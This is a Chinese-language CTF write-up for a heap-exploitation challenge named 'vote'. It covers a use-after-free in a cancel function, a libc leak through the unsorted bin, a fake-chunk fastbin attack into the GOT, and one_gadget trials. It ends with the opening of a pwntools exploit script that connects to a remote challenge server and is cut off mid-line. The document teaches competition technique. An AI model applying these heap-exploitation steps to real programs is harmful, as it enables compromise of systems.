这道题目的难点不在于利用,经历过上次红帽杯的初赛之后,这类型的`off by one`漏洞已经很容易识别了。具体的程序逻辑和漏洞点在这里就不再分析,借用一下出题人的原话描述: > 这个题目有一个比较明显的null byte溢出。按照常规思路,可以去做overlap。程序里面使用了scanf,所以去写`buf_end`是一个比较好的选择,但是这里设置了perturb_byte,在每次free或者
  1. struct user
  2. {
  3. __int64 count;
  4. __int64 time;
  5. __int64 name;
  6. };

漏洞出在cancel函数里面,如果create一个用户后没有投票操作的话,cancel函数free这个指针并不会把指针清零,可以造成一个double free或者是uaf。
malloc一个unsortedbin大小的chunk然后free掉,通过show函数就能泄露一个libc地址。
按照常规的思路做fast bin attack的话会行不通,因为返回来的地址prev位对应结构中的count参数,这个位置我们是没办法直接改写达到返回任意地址的目的的。
然后想到了uaf的做法,既然我们不能直接写,那么可以用vote函数把prev位的地址给加上去。在heap中伪造一个fake chunk,保证这个chunk是free的状态并且能够通过malloc的检查,然后还要把prev位设置成为最终想要返回的地址。

那么我们再malloc两次就能得到想要的地址了,这里当然是写got表,问题是用0x7f的大小试了很久都绕不过,gaintbranch提醒说got表上的0x7f会有干扰的,libc上的就能成功返回。后来又用0x60的大小去试,got表上仅存能够利用的0x60位置都不能用。

后来只好翻到got最前面0x601ffa那边去了,用onegadget一个一个尝试那个got位置可以成功调用,最后好像是在pthread_create那里成功了。

再vote一次即可触发。

vote.py

  1. from pwn import *
  2. import time
  3. env = {'LD_PRELOAD': './libc-2.23.so'}
  4. # p = process('./vote', env=env)
  5. p = remote('47.97.190.1', 6000)
  6. libc = ELF('./libc-2.23.so')
  7. context.log_level = 'debug'
  8. def create(size, name):
  9. p.sendlineafter('Action: ', '0')
  10. p.sendlineafter(': ', str(s